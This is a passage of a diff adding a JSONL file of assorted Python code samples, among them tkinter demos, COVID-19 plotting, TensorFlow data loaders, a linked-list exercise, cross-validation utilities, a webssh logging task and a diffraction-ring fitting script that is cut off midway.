diff --git "a/698.jsonl" "b/698.jsonl"
new file mode 100644--- /dev/null
+++ "b/698.jsonl"
@@ -0,0 +1,763 @@
+{"seq_id":"97338041","text":"#! /usr/bin/env python3\n# -*- coding: utf-8 -*-\n# coding: utf8\n# damit es keine Fehlermeldungen durch Sonderzeichen gibt\nimport tkinter\nfrom tkinter import ttk\nfrom tkinter import *\n\nfenster=tkinter.Tk()\nfenster.title(\"CANBUS-Ausgabe\")\n\n# Vorgabe der Groesse des Fensters und der Position\n#\n'''\ndef Fenster():\n Breite = 800 # Breite des Fensters\n Hoehe = 480\n x= 900\n y= 300\n fenster.geometry('%dx%d+%d+%d' % (Breite, Hoehe, x, y))\n\nFenster()\n'''\nclass Anzeigen:\n def __init__(self):\n self.Breite = 800 # Breite des Fensters\n self.Hoehe = 480\n self.x= 900\n self.y= 300\n fenster.geometry('%dx%d+%d+%d' % (self.Breite, self.Hoehe, self.x, self.y))\n\n\n\nHauptfenster=Anzeigen()\n\n\nRahmen1 = LabelFrame(fenster, text=\"Dies ist ein Rahmen\")\n\nRahmen_innen_1 = LabelFrame(Rahmen1, text=\"Wert 1\")\nRahmen_innen_2 = LabelFrame(Rahmen1, text=\"Wert 2\")\nRahmen_innen_3 = LabelFrame(Rahmen1, text=\"Wert 3\")\nRahmen_innen_4 = LabelFrame(Rahmen1, text=\"Wert 4\")\n\nRahmen1.grid(column=0, row=0, padx=20, pady=20)\nRahmen_innen_1.grid(column=0, row=0, padx=10, pady=10)\nRahmen_innen_2.grid(column=0, row=1, padx=10, pady=10)\nRahmen_innen_3.grid(column=1, row=0, padx=10, pady=10)\nRahmen_innen_4.grid(column=1, row=1, padx=10, pady=10)\n\n\nAnzeige1=Label(Rahmen_innen_1,text=\"Textmeldung 1\",anchor='e')\nAnzeige2=Label(Rahmen_innen_2,text=\"Textmeldung 2\")\nAnzeige3=Label(Rahmen_innen_3,text=\"Textmeldung 3\")\nAnzeige4=Label(Rahmen_innen_4,text=\"Textmeldung 4\")\n\nAnzeige1.grid(column=0, row=0, padx=0, pady=0)\nAnzeige2.grid(column=0, row=0, padx=50, pady=50)\nAnzeige3.grid(column=0, row=0, padx=50, pady=50)\nAnzeige4.grid(column=0, row=0, padx=50, pady=50)\n\n\nmainloop()","sub_path":"Tkinter/Beispiel Label.py","file_name":"Beispiel Label.py","file_ext":"py","file_size_in_byte":1694,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"578252720","text":"import json\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport random \n# import itertools\n\nfrom sys import exit\nstate_short_cut={\"UP\":\"Uttar Pradesh\",\n\"MH\":\"Maharashtra\",\n\"BI\":\"Bihar\",\n\"WB\":\"West Bengal\",\n\"MP\":\"Madhya Pradesh\",\n\"TN\":\"Tamil Nadu\",\n\"RJ\":\"Rajasthan\",\n\"KN\":\"Karnataka\",\n\"GJ\":\"Gujarat\",\n\"AP\":\"Andhra Pradesh\",\n\"OD\":\"Odisha\",\n\"TS\":\"Telengana\",\n\"KL\":\"Kerala\",\n\"JH\":\"Jharkhand\",\n\"AS\":\"Assam\",\n\"PJ\":\"Punjab\",\n\"UP\":\"Uttar Pradesh\",\n\"CH\":\"Chhattisgarh\",\n\"HR\":\"Haryana\",\n\"UT\":\"Uttarakhand\",\n\"HP\":\"Himachal Pradesh\",\n\"TP\":\"Tripura\",\n\"MG\":\"Meghalaya\",\n\"MN\":\"Manipur\",\n\"NG\":\"Nagaland\",\n\"GO\":\"Goa\",\n\"AR\":\"Arunachal Pradesh\",\n\"MZ\":\"Mizoram\",\n\"SK\":\"Sikkim\",\n\"DL\":\"Delhi\",\n\"JK\":\"Jammu and Kashmir\",\n\"PO\":\"Puducherry\",\n\"CN\":\"Chandigarh\",\n\"DD\":\"Dadra and Nagar Haveli and Daman and Diu\",\n\"AN\":\"Andaman and Nicobar Islands\",\n\"LD\":\"Ladakh\",\n\"LK\":\"Lakshadweep\"}\n\nclass CovidForState:\n def __init__(self,state):\n self.state = state\n self.data_legend=\"-k\"\n\n def read_data(self,given_data):\n state_full=state_short_cut[self.state]\n state_data = given_data[given_data[\"State/UnionTerritory\"]==state_full]\n data_count=state_data.shape[0]\n self.data={}\n self.data[\"days\"]=list(range(data_count))\n self.data[\"confirmed\"] = list(state_data[\"Confirmed\"])\n self.data[\"deaths\"] = list(state_data[\"Deaths\"])\n self.data[\"recovered\"] = list(state_data[\"Cured\"])\n# for day_data in state_data:\n# # print(day_data)\n# self.data[\"days\"].append(day)\n# self.data[\"confirmed\"].append(day_data['confirmed'])\n# self.data[\"deaths\"].append(day_data['deaths'])\n# self.data[\"recovered\"].append(day_data['recovered'])\n# day += 1\n\n def set_legend(self,legend_string):\n self.data_legend=legend_string\n \n def add_to_plt2(self,axes,plot_x,plot_y):\n axes.plot(self.data[plot_x][:np.size(self.data[plot_y])],self.data[plot_y],color=self.data_legend,linestyle='solid',label=self.state)\n\n def add_to_plt(self,axes,plot_qty):\n data_size=np.size(self.data[plot_qty])\n axes.plot(range(data_size),self.data[plot_qty],color=self.data_legend,linestyle='solid',label=self.state)\n\n def calculate_other(self):\n self.data[\"recov / conf\"] = [a/b if b>50 else 0 for a,b in zip(self.data[\"recovered\"],self.data[\"confirmed\"])]\n self.data[\"death / conf\"] = [a / b if b > 0 else 0 for a, b in\n zip(self.data[\"deaths\"], self.data[\"confirmed\"])]\n offset_val=100\n index = next(x for x, val in enumerate(self.data[\"confirmed\"]) if val > offset_val)\n \n self.data[\"confirm log\"] = [np.log10(a-offset_val) for a in self.data[\"confirmed\"][index:]]\n self.data[\"confirm daily\"] = list(map( lambda x,y: x - y, self.data[\"confirmed\"][1:],self.data[\"confirmed\"][0:-1] ))\n self.data[\"death daily\"] = list(map( lambda x,y: x - y, self.data[\"deaths\"][1:],self.data[\"deaths\"][0:-1] ))\n\n self.data[\"conf doub days\"] = []\n for index1 in range(np.size(self.data[\"confirmed\"])):\n if self.data[\"confirmed\"][index1] > 0:\n for index2 in range(index1+1,np.size(self.data[\"confirmed\"])):\n if self.data[\"confirmed\"][index2]/self.data[\"confirmed\"][index1] > 2:\n self.data[\"conf doub days\"].append(index2-index1)\n break\n else:\n self.data[\"conf doub days\"].append(0)\n #for index in range(np.size(self.data[\"conf doub days\"]),np.size(self.data[\"confirmed\"])):\n # self.data[\"conf doub days\"].append(self.data[\"conf doub days\"][np.size(self.data[\"conf doub days\"])-1])\n \n \n self.data[\"daily / conf tot\"] = list(map( lambda x,y: x/y if y>0 else 0, self.data[\"confirm daily\"][:],self.data[\"confirmed\"][:-1] ))\n \n\n temp_data = pd.Series(self.data[\"confirm daily\"])\n windows = temp_data.rolling(5)\n self.data[\"confirm mov avg\"] = list(windows.mean())\n \n\n def calculate_wt_offset(self,offset=100):\n index= next(x for x, val in enumerate(self.data[\"confirmed\"])\n if val > offset)\n self.data[\"confirmed off\"] = self.data[\"confirmed\"][index:]\n\n\ndata = pd.read_csv(\"./india_data/covid_19_india.csv\")\n\n\n#state_list=[\"India\",\"Russia\",\"France\",\"Italy\",\"Spain\"]\n#state_list=[\"India\",\"Peru\",\"Netherlands\",\"Belgium\",\"Canada\",\"Brazil\",\"Iran\"]\nstate_list=[\"MH\",\"TN\",\"DL\",\"KN\",\"KL\",\"AP\",\"RJ\",\"UP\"]\nstate_legend=[\"orange\",\"green\",\"red\",\"blue\",\"black\",\"yellow\",\"magenta\"]\n\n\n\ncovid_data=[]\n\nfor icount in range(np.size(state_list)):\n covid_data_obj=CovidForState(state_list[icount])\n covid_data_obj.read_data(data)\n if icount < len(state_legend): \n covid_data_obj.set_legend(state_legend[icount])\n else:\n random_color=(random.randint(0,255)/255.0,random.randint(0,255)/255.0,random.randint(0,255)/255.0)\n covid_data_obj.set_legend(random_color)\n covid_data.append(covid_data_obj)\n\nfor each_data in covid_data:\n each_data.calculate_other()\n each_data.calculate_wt_offset(100)\n\nwhat_to_plt=\"confirmed\"\nwhat_to_plt2=\"confirm mov avg\"\n\nfig, axs = plt.subplots(1, 1)\nfor each_data in covid_data:\n #each_data.add_to_plt(axs,what_to_plt)\n each_data.add_to_plt2(axs,what_to_plt,what_to_plt2)\n#axs.set_xlabel(\"Days\")\naxs.set_xlabel(what_to_plt2)\naxs.set_ylabel(what_to_plt)\naxs.set_title(what_to_plt +\" Country wise\")\naxs.grid(True)\n\n\n#what_to_plt=[[\"confirmed\", \"deaths\", \"recovered\", \"recov / conf\", \"death / conf\"],\n# [\"confirm log\", \"confirm daily\",\"death daily\", \"confirm mov avg\", \"confirmed off\"]]\n#fig, axs_all = plt.subplots(2, 5)\n#for irow in range(2):\n# for jcol in range(5):\n# axs = axs_all[irow,jcol]\n# for each_data in covid_data:\n# each_data.add_to_plt(axs,what_to_plt[irow][jcol])\n# axs.set_xlabel(\"Days\")\n# axs.set_ylabel(what_to_plt[irow][jcol])\n# axs.set_title(what_to_plt[irow][jcol] +\" Country wise\")\n# axs.grid(True)\n\nplt.legend()\nplt.show()","sub_path":"CovidIndia.py","file_name":"CovidIndia.py","file_ext":"py","file_size_in_byte":6135,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"375625855","text":"# -*- coding: utf-8 -*-\n\n# Copyright (C) 2020. Huawei Technologies Co., Ltd. All rights reserved.\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the MIT License.\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# MIT License for more details.\n\n\"\"\"This is a class for Coco TFRecords dataset.\"\"\"\nimport os\nimport tensorflow as tf\nfrom official.vision.detection.dataloader import tf_example_decoder\nfrom official.vision.detection.utils import box_utils\nfrom vega.core.common.class_factory import ClassFactory, ClassType\nfrom vega.core.common import FileOps\n\n\n@ClassFactory.register(ClassType.DATASET)\nclass CocoDataset(object):\n \"\"\"This is a class for Coco TFRecords dataset.\n\n :param data_dir: Coco TFRecords data directory\n :type data_dir: str\n :param batch_size: batch size\n :type batch_size: int\n :param mode: dataset mode, train or val\n :type mode: str\n :param num_parallel_batches: number of parallel batches\n :type num_parallel_batches: int, default 1\n :param repeat_num: batch repeat number\n :param repeat_num: int, default 5\n :param padding: data padding in image preprocess\n :type padding: int, default 8\n :param fp16: whether to use fp16\n :type fp16: bool, default False\n :param drop_remainder: whether to drop data remainder\n :type drop_remainder: bool, default False\n \"\"\"\n\n def __init__(self, data_dir, batch_size, mode, num_parallel_batches=1,\n repeat_num=5, padding=8, fp16=False, drop_remainder=False):\n \"\"\"Init CocoTF.\"\"\"\n self.data_dir = FileOps.download_dataset(data_dir)\n self.batch_size = batch_size\n self.mode = mode\n self.num_parallel_batches = num_parallel_batches\n self.repeat_num = repeat_num\n self.dtype = tf.float16 if fp16 is True else tf.float32\n self.drop_remainder = drop_remainder\n self._include_mask = False\n self._dataset_fn = tf.data.TFRecordDataset\n\n @property\n def _file_pattern(self):\n \"\"\"Coco data files of type TFRecords.\"\"\"\n if self.mode == 'train':\n file_pattern = os.path.join(self.data_dir, 'coco_train.record-?????-of-00100')\n elif self.mode == 'val':\n file_pattern = os.path.join(self.data_dir, 'coco_val.record-?????-of-00100')\n elif self.mode == 'test':\n file_pattern = os.path.join(self.data_dir, 'coco_testdev.record-?????-of-00100')\n else:\n raise Exception('mode must be train, val or test.')\n return file_pattern\n\n def _parse_single_example(self, example):\n \"\"\"Parse a single serialized tf.Example proto.\n\n Args:\n example: a serialized tf.Example proto string.\n Returns:\n A dictionary of groundtruth with the following fields:\n source_id: a scalar tensor of int64 representing the image source_id.\n height: a scalar tensor of int64 representing the image height.\n width: a scalar tensor of int64 representing the image width.\n boxes: a float tensor of shape [K, 4], representing the groundtruth\n boxes in absolute coordinates with respect to the original image size.\n classes: a int64 tensor of shape [K], representing the class labels of\n each instances.\n is_crowds: a bool tensor of shape [K], indicating whether the instance\n is crowd.\n areas: a float tensor of shape [K], indicating the area of each\n instance.\n masks: a string tensor of shape [K], containing the bytes of the png\n mask of each instance.\n \"\"\"\n decoder = tf_example_decoder.TfExampleDecoder(\n include_mask=self._include_mask)\n decoded_tensors = decoder.decode(example)\n\n image = decoded_tensors['image']\n image_size = tf.shape(image)[0:2]\n boxes = box_utils.denormalize_boxes(\n decoded_tensors['groundtruth_boxes'], image_size)\n groundtruths = {\n 'source_id': tf.string_to_number(\n decoded_tensors['source_id'], out_type=tf.int64),\n 'height': decoded_tensors['height'],\n 'width': decoded_tensors['width'],\n 'num_detections': tf.shape(decoded_tensors['groundtruth_classes'])[0],\n 'boxes': boxes,\n 'classes': decoded_tensors['groundtruth_classes'],\n 'is_crowds': decoded_tensors['groundtruth_is_crowd'],\n 'areas': decoded_tensors['groundtruth_area'],\n }\n if self._include_mask:\n groundtruths.update({\n 'masks': decoded_tensors['groundtruth_instance_masks_png'],\n })\n return groundtruths\n\n def input_fn(self, params):\n \"\"\"Define input_fn used by Tensorflow Estimator.\"\"\"\n dataset = tf.data.Dataset.list_files(self._file_pattern, shuffle=False)\n dataset = dataset.apply(\n tf.data.experimental.parallel_interleave(\n lambda filename: self._dataset_fn(filename).prefetch(1),\n cycle_length=32,\n sloppy=False))\n dataset = dataset.map(self._parse_single_example, num_parallel_calls=self.num_parallel_batches)\n dataset = dataset.prefetch(tf.data.experimental.AUTOTUNE)\n dataset = dataset.batch(self.batch_size, drop_remainder=False)\n return dataset\n","sub_path":"built-in/TensorFlow/Research/cv/image_classification/Cars_for_TensorFlow/automl/vega/datasets/tensorflow/coco.py","file_name":"coco.py","file_ext":"py","file_size_in_byte":5507,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"495135834","text":"import pandas as pd\nimport tensorflow as tf\nimport os\nimport glob\nfrom train.trainer import BaseTrainer\nfrom data_io.data_provider import DataGenerator\nfrom models.simple_cnn import SimpleConvolutional\n\nfrom keras.preprocessing.image import ImageDataGenerator\n\n\nif __name__ == \"__main__\":\n TRAIN_DATA = os.path.join(\"data\", \"train\")\n LABELS_PATH = os.path.join(\"data\", \"train_labels.csv\")\n\n file_paths = glob.glob(os.path.join(TRAIN_DATA, '*.tif'))[:2048]\n labels = pd.read_csv(LABELS_PATH)\n\n import os\n base_dir = 'data'\n train_dir = os.path.join(base_dir, 'train_dir')\n # # os.mkdir(train_dir)\n\n val_dir = os.path.join(base_dir, 'val_dir')\n # # os.mkdir(val_dir)\n\n # no_tumor_tissue = os.path.join(train_dir, 'a_no_tumor_tissue')\n # has_tumor_tissue = os.path.join(train_dir, 'b_has_tumor_tissue')\n # # os.mkdir(no_tumor_tissue)\n # # os.mkdir(has_tumor_tissue)\n\n # no_tumor_tissue = os.path.join(val_dir, 'a_no_tumor_tissue')\n # has_tumor_tissue = os.path.join(val_dir, 'b_has_tumor_tissue')\n # # os.mkdir(no_tumor_tissue)\n # # os.mkdir(has_tumor_tissue)\n\n # from sklearn.model_selection import train_test_split\n # df_data = pd.read_csv('data/train_labels.csv')\n # df_train, df_val = train_test_split(df_data, test_size=0.1)\n\n # import shutil\n # train_list = list(df_train['id'])\n # val_list = list(df_val['id'])\n # df_data.set_index('id', inplace=True)\n\n # for image in train_list:\n # fname = image + '.tif'\n # target = df_data.loc[image, 'label']\n # if target == 0:\n # label = 'a_no_tumor_tissue'\n # else:\n # label = 'b_has_tumor_tissue'\n\n # src = os.path.join('data/train', fname)\n # dst = os.path.join(train_dir, label, fname)\n # shutil.move(src, dst)\n\n # for image in val_list:\n # fname = image + '.tif'\n # target = df_data.loc[image, 'label']\n # if target == 0:\n # label = 'a_no_tumor_tissue'\n # else:\n # label = 'b_has_tumor_tissue'\n\n # src = os.path.join('data/train', fname)\n # dst = os.path.join(val_dir, label, fname)\n # shutil.move(src, dst)\n\n train_path = base_dir + train_dir\n\n image_gen = ImageDataGenerator(\n horizontal_flip=True,\n rescale=1./255\n )\n\n train_gen = image_gen.flow_from_directory(\n train_dir,\n target_size=(96, 96),\n batch_size=32,\n class_mode='categorical',\n )\n\n val_gen = image_gen.flow_from_directory(\n val_dir,\n target_size = (96, 96),\n batch_size=32,\n class_mode='categorical'\n )\n\n\n\n schema = {\n 'dimensions': (96, 96),\n 'channels': 3,\n 'classes': 2\n }\n\n # data_generator = DataGenerator(file_paths, labels, batch_size=256)\n # schema = data_generator.get_data_schema()\n model = SimpleConvolutional(\n tf.train.GradientDescentOptimizer(learning_rate=0.0001), \n input_dtype=tf.float16\n )\n\n model.create_architecture(schema)\n\n train_op = model.training_op\n\n epochs = 10\n batch_nums = train_gen.samples // 32\n\n with tf.Session() as sess:\n sess.run(tf.global_variables_initializer())\n for e in range(epochs):\n for i in range(batch_nums):\n x_batch, y_batch = train_gen.__getitem__(i)\n feed_dict = {model.X: x_batch, model.y: y_batch}\n sess.run(train_op, feed_dict=feed_dict)\n\n loss = sess.run(model.loss, feed_dict = feed_dict)\n print('Epoch: {}, Loss: {}'.format(e, loss))\n\n # trainer = BaseTrainer(model, 10, data_generator) \n # trainer.fit()\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3655,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"39995811","text":"class LinkedList:\n def __init__(self):\n self.head = None\n self.tail = None\n\n def insert(self, node):\n if self.head is None:\n print('insert pattern1')\n self.head = node\n self.tail = node\n else:\n print('insert pattern2')\n node.prev = self.head\n self.tail.next = node\n self.tail = self.tail.next\n\n def delete(self, key):\n node = self.head\n while node is not None:\n if node.val == key:\n node.prev.next = node.next\n node.prev.next.prev = node.prev\n else:\n node = node.next\n\n def show(self):\n node = self.head\n while node is not None:\n print(str(node.key) + ' ', end='')\n node = node.next\n print('')\n\n\nclass Node:\n def __init__(self, key):\n self.key = key\n self.prev = None\n self.next = None\n\nn = int(input())\n\nlinked_list = LinkedList()\n\nfor i in range(n):\n line = input().split()\n command = line[0]\n if command == 'insert':\n key = int(line[1])\n linked_list.insert(Node(key))\n linked_list.show()\n elif command == 'delete':\n key = int(line[1])\n linked_list.delete(key)\n linked_list.show()\n elif command == 'deleteFirst':\n pass\n elif command == 'deleteLast':\n pass\n","sub_path":"aizu/alds1_3_C.py","file_name":"alds1_3_C.py","file_ext":"py","file_size_in_byte":1397,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"37784422","text":"# -*- coding: utf-8 -*-\n# ----------------------------------------------------------------------------\n# Created By : Vítor Pereira\n# Created Date: 01-09-2021\n# version ='0.0.1'\n# ---------------------------------------------------------------------------\n\"\"\"Cross Validation module\"\"\"\n# ---------------------------------------------------------------------------\n\nfrom .util import train_test_split\nimport numpy as np\nimport itertools\n\n\nclass CrossValidationScore:\n\n def __init__(self, model, dataset, score=None, ** kwargs):\n self.model = model\n self.dataset = dataset\n self.score = score\n self.cv = kwargs.get('cv', 3)\n self.split = kwargs.get('split', 0.8)\n self.train_scores = None\n self.test_scores = None\n self.ds = None\n\n def run(self):\n train_scores = []\n test_scores = []\n ds = []\n for _ in range(self.cv):\n train, test = train_test_split(self.dataset, self.split)\n ds.append((train, test))\n self.model.fit(train)\n if not self.score:\n train_scores.append(self.model.cost())\n test_scores.append(self.model.cost(test.X, test.y))\n else:\n y_train = np.ma.apply_along_axis(self.model.predict,\n axis=0,\n arr=train.X.T)\n train_scores.append(self.score(train.y, y_train))\n y_test = np.ma.apply_along_axis(self.model.predict,\n axis=0,\n arr=test.X.T)\n test_scores.append(self.score(test.y, y_test))\n self.train_scores = train_scores\n self.test_scores = test_scores\n self.ds = ds\n return train_scores, test_scores\n\n def toDataframe(self):\n import pandas as pd\n assert self.train_scores and self.test_scores, \"Need to run first\"\n return pd.DataFrame({'Train Scores': self.train_scores,\n 'Test Scores': self.test_scores})\n\n\nclass GridSearchCV:\n\n def __init__(self, model, dataset, parameters, **kwargs):\n self.model = model\n self.dataset = dataset\n hasparam = [hasattr(self.model, param) for param in parameters]\n if np.all(hasparam):\n self.parameters = parameters\n else:\n index = hasparam.index(False)\n keys = list(parameters.keys())\n raise ValueError(f\" Wrong parameters: {keys[index]}\")\n self.kwargs = kwargs\n self.results = None\n\n def run(self):\n self.results = []\n attrs = list(self.parameters.keys())\n values = list(self.parameters.values())\n for conf in itertools.product(*values):\n for i in range(len(attrs)):\n setattr(self.model, attrs[i], conf[i])\n scores = CrossValidationScore(self.model, self.dataset, **self.kwargs).run()\n self.results.append((conf, scores))\n return self.results\n\n def toDataframe(self):\n import pandas as pd\n assert self.results, \"The grid search needs to be ran.\"\n data = dict()\n for i, k in enumerate(self.parameters.keys()):\n v = []\n for r in self.results:\n v.append(r[0][i])\n data[k] = v\n for i in range(len(self.results[0][1][0])):\n v = []\n t = []\n for r in self.results:\n v.append(r[1][0][i])\n t.append(r[1][1][i])\n data[f'CV_{i+1} train'] = v\n data[f'CV_{i+1} test'] = t\n\n return pd.DataFrame(data)\n","sub_path":"src/si/util/cv.py","file_name":"cv.py","file_ext":"py","file_size_in_byte":3702,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"410651726","text":"from urllib.error import HTTPError\n\nfrom lebanese_channels.channel import StreamError, StreamNotFoundError\nfrom lebanese_channels.services.utils.web import get_response\n\n\ndef fetch_from(url):\n try:\n html = get_response(url)\n for line in html.splitlines():\n if ('file' in line or 'Link' in line) and 'm3u8' in line:\n return line.split('\"')[1]\n except HTTPError:\n raise StreamError(url)\n\n raise StreamNotFoundError(url)\n","sub_path":"lebanese_channels/services/utils/stream.py","file_name":"stream.py","file_ext":"py","file_size_in_byte":474,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"413912432","text":"\"\"\"Test the ticker class.\n\nThis requires mocking the threading module as well as sys.stdout and datetime.\n\"\"\"\nimport unittest\nfrom unittest import mock\nimport sys\nimport io\nimport datetime\nfrom releasetool import DotTicker\n\nclass GIVEN_Ticker_WHEN_used_THEN_writes(unittest.TestCase):\n def setUp(self):\n self.mock_event = mock.MagicMock(\n isSet = mock.Mock( side_effect=[False, False, False, False, True])\n )\n self.mock_threading = mock.MagicMock(\n Event = mock.MagicMock( return_value = self.mock_event )\n )\n self.mock_datetime = mock.Mock(\n datetime = mock.Mock(\n now = mock.Mock(\n return_value = datetime.datetime(2015,10,13,2,3,5)\n )\n )\n )\n self.mock_buffer = mock.Mock(\n fileno= mock.Mock( return_value= 1 ),\n readable= mock.Mock( return_value= False ),\n writeable= mock.Mock( return_value= True ),\n seekable= mock.Mock( return_value= False ),\n closed= False,\n isatty= mock.Mock( return_value= True ),\n )\n self.mock_stdout = mock.Mock(\n buffer= self.mock_buffer,\n isatty= mock.Mock( return_value=True ),\n )\n def runTest(self):\n with mock.patch('releasetool.ticker.threading', self.mock_threading),\\\n mock.patch('releasetool.ticker.datetime', self.mock_datetime):\n \n with DotTicker(target=self.mock_stdout):\n pass\n \n #print( self.mock_threading.mock_calls )\n self.mock_threading.Event.assert_called_once_with( )\n \n #print( self.mock_event.mock_calls )\n self.mock_event.assert_has_calls(\n [mock.call.isSet(), mock.call.wait(1),\n mock.call.isSet(), mock.call.wait(1),\n mock.call.isSet(), mock.call.wait(1),\n mock.call.isSet(), mock.call.wait(1),\n mock.call.isSet(), mock.call.set(),]\n )\n \n #print( self.mock_datetime.mock_calls )\n self.mock_datetime.datetime.assert_has_calls(\n [mock.call.now(), mock.call.now(), mock.call.now(), mock.call.now(), mock.call.now()]\n )\n \n #print( self.mock_stdout.mock_calls )\n self.mock_stdout.isatty.assert_called_once_with()\n \n #print( self.mock_buffer.mock_calls )\n self.mock_buffer.assert_has_calls(\n [\n mock.call.readable(),\n mock.call.writable(),\n mock.call.seekable(),\n mock.call.isatty(),\n mock.call.write(b'\\r|02:03|. \\r'),\n mock.call.flush(),\n mock.call.write(b'\\r|02:03|.. \\r'),\n mock.call.flush(),\n mock.call.write(b'\\r|02:03|... \\r'),\n mock.call.flush(),\n mock.call.write(b'\\r|02:03|.... \\r'),\n mock.call.flush(),\n mock.call.isatty(), # Final close.\n mock.call.flush()]\n )\n \nif __name__ == \"__main__\":\n unittest.main()","sub_path":"test/test_ticker.py","file_name":"test_ticker.py","file_ext":"py","file_size_in_byte":3457,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"159125852","text":"import move_data_stats\n\nDANCERS = 8\nDANCER_LIST = [\"dummy\", \"shuyi\", \"steve\", \"weisiong\", \"theodore\", \"ningmou\", \"harry\", \"test\"]\nMAX_DATA_SETS = 1000\n# Dancer 1: shuyi\n# Dancer 2: steve\n# Dancer 3: weisiong\n# Dancer 4: theodore\n# Dancer 5: ningmou\n# Dancer 6: harry\n\nclass data_collation:\n def __init__(self, training_move, connecting_devices):\n self.collation_data = [None] * DANCERS\n\n self.training_move = training_move\n self.connecting_devices = connecting_devices\n self.completed_datasets = 0\n\n # Obtains the dancer index for mapping purposes based on the given string\n def obtain_dancer_index(self, dancer_name):\n for i in range(0, DANCERS):\n if(DANCER_LIST[i] == dancer_name):\n return i\n return None\n\n #Inserts the stats into the array of data to be computed and serializes it once the required number has been reached\n def insert_data(self, dancer_stats_obj, dancer_index, move_details):\n completion_status = dancer_stats_obj.insert_dancer_stats(move_details)\n if completion_status:\n dancer_stats_obj.serialize_dataset(DANCER_LIST[dancer_index], self.training_move)\n self.completed_datasets += 1 \n\n if (str(self.completed_datasets) == str(self.connecting_devices)):\n return True\n return False\n \n \n def split_data_segments(self, obtained_data):\n dancer_details = obtained_data.split('-ml')\n dancer_index = self.obtain_dancer_index(dancer_details[1])\n if(dancer_index):\n if not self.collation_data[dancer_index]:\n self.collation_data[dancer_index] = move_data_stats.data_stats(MAX_DATA_SETS)\n\n isDatasetFull = self.insert_data(self.collation_data[dancer_index], dancer_index, dancer_details[0])\n if isDatasetFull:\n return True\n return False\n\n","sub_path":"ultra96-comms-scripts/ml_data_collation.py","file_name":"ml_data_collation.py","file_ext":"py","file_size_in_byte":1911,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"585865718","text":"# -*- coding: utf-8 -*-\n# @Time : 2019-07-18 13:36\n# @Author : kbsonlong\n# @Email : kbsonlong@gmail.com\n# @Blog : www.alongparty.cn\n# @File : tasks.py\n# @Software: PyCharm\n\nimport json\nimport logging\nfrom IDOWN.celery import app\n\n@app.task\ndef admin_file(filename, txts, header=None):\n \"\"\"\n 保存webssh操作过程\n :param filename:\n :param txts:\n :param header:\n :return:\n \"\"\"\n try:\n if header:\n f = open(filename, 'a')\n f.write(json.dumps(header) + '\\n')\n for txt in txts:\n f.write(json.dumps(txt) + '\\n')\n f.close()\n else:\n with open(filename, 'a') as f:\n for txt in txts:\n f.write(txt)\n except Exception as e:\n print('添加用户操作记录文件失败,原因:{}'.format(e))\n","sub_path":"apps/webssh/tasks.py","file_name":"tasks.py","file_ext":"py","file_size_in_byte":850,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"146071223","text":"#Version 0.9 written by Phani Karamched to fit ellipses to diffraction rings\n#Tried fitting by weighted fit rather than least squares\n#Use python 3.6.4 or higher and required modules included below\n\n\nimport cv2\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport matplotlib.image as mpimg\nimport pandas as pd\nimport easygui\nimport glob\nimport os\nimport openpyxl\n#from skimage import exposure \n#from skimage.util import img_as_ubyte \nfrom numpy.linalg import eig, inv\nimport numpy.ma as ma\nimport time\nimport math\n\n\n\n\n\ndef main():\n #Read calibration metadata file\n #metadatafile = easygui.fileopenbox(msg=\"Select Calibration file\", title=\"Select metadata.csv file\", default='metadata.csv', filetypes=[\"*.csv\"], multiple=False)\n #Opens a folder to select images directory and read all .tif files sorted by name\n foldername=easygui.diropenbox(msg=\"Select Folder containing the ring images\", title=\"Select Folder\", default=None)\n #foldername=r\"D:\\OneDrive - Nexus365\\weighted ellipse paper\\pydiffrings\\ceria\\73014\"\n #print(foldername)\n all_tif_files=sorted(glob.glob(os.path.join(foldername,\"*.tif\")))\n #CV2 module reads images >8-bit as floating points between 0 and 1\n #Read the first file to select rings (by the user)\n img=cv2.imread(all_tif_files[0],cv2.IMREAD_ANYDEPTH)\n #Use a masked anumpy array to convert to log and avoid log(zero) pixels\n img = ma.log(img)\n img_colorscale =img/(img.max()) #rescale to 0 and 1\n #img_colorscale=img_colorscale.astype('uint8') \n #img_colorscale = cv2.applyColorMap(img_colorscale, cv2.COLORMAP_JET)\n \n #read the metadata file to get calibrated beam centre position to read radii of the rings and help with putting a mask\n #####################make sure the file metadata.csv is in the same directory as the .py code or current working directory ########change this later to let use pick\n #read centres from metadata file. can be exported from calib using Dawn as .csv\n #df = pd.read_csv(metadatafile)\n global x_centre,y_centre\n #x_centre = df['X beam centre (pixels)'][0] \n #y_centre = df['Y beam centre (pixels)'][0]\n #DD = df['Distance (mm)'][0]\n #wavelength = df['Wavelength (Angstrom)'][0]\n x_centre=1497.06\n y_centre=1395.70\n #xpos and ypos are the user picked positions of the rings\n global xpos,ypos\n \n\n \n xpos,ypos=[],[] #used to define ring positions by clicking using the following draw_image command\n \n #display instructions for user\n easygui.msgbox(\"1)Left mouse click to pan across image\\n2)Mouse wheel to zoom\\n3)Middle mouse click to select ring position\\n4)'q' to exit\\n\", title=\"Instructions\")\n cv2.namedWindow(\"image_window\",cv2.WINDOW_NORMAL)\n #draw_image is a userdefined function to read mouse clicks\n cv2.setMouseCallback(\"image_window\",draw_image)\n\n while True:\n 